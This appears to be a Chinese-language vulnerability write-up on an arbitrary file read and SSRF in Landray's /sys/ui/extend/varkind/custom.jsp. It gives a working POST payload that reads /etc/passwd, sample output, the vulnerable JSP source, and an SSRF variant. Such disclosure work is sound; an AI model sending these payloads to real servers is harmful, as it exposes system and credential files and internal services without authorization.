漏洞编号
网上部分复现把任意文件读取标为 CNVD-2021-28277。蓝凌安全中心的公告对应关系为:
CNVD-2021-37311
问题:获取敏感信息,读取配置文件登录后台
安全补丁:#136341
修复:任意文件读取漏洞
CNVD-2021-28277 对应的是任意用户密码重置和 ObjectXML 反序列化问题,不是该文件读取入口。
请求
入口:
/sys/ui/extend/varkind/custom.jsp

读取 /etc/passwd:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
var={"body":{"file":"file:///etc/passwd"}}
响应正文直接返回文件内容:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

file:///root/ 返回目录条目,说明该入口不只读取普通文件。

JSP
通过同一入口读取到的 custom.jsp 核心代码:
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
body.file 未经过协议和路径限制,直接进入 JSTL c:import 的 url 属性。
c:import 支持绝对 URL。把 file 换成测试 HTTP 地址后,服务器会发起请求并把响应内容返回,因此同一入口同时具备 SSRF 能力:
var={"body":{"file":"http://127.0.0.1:8080/health"}}
截图中的会话 Cookie 和目标地址已打码。
参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。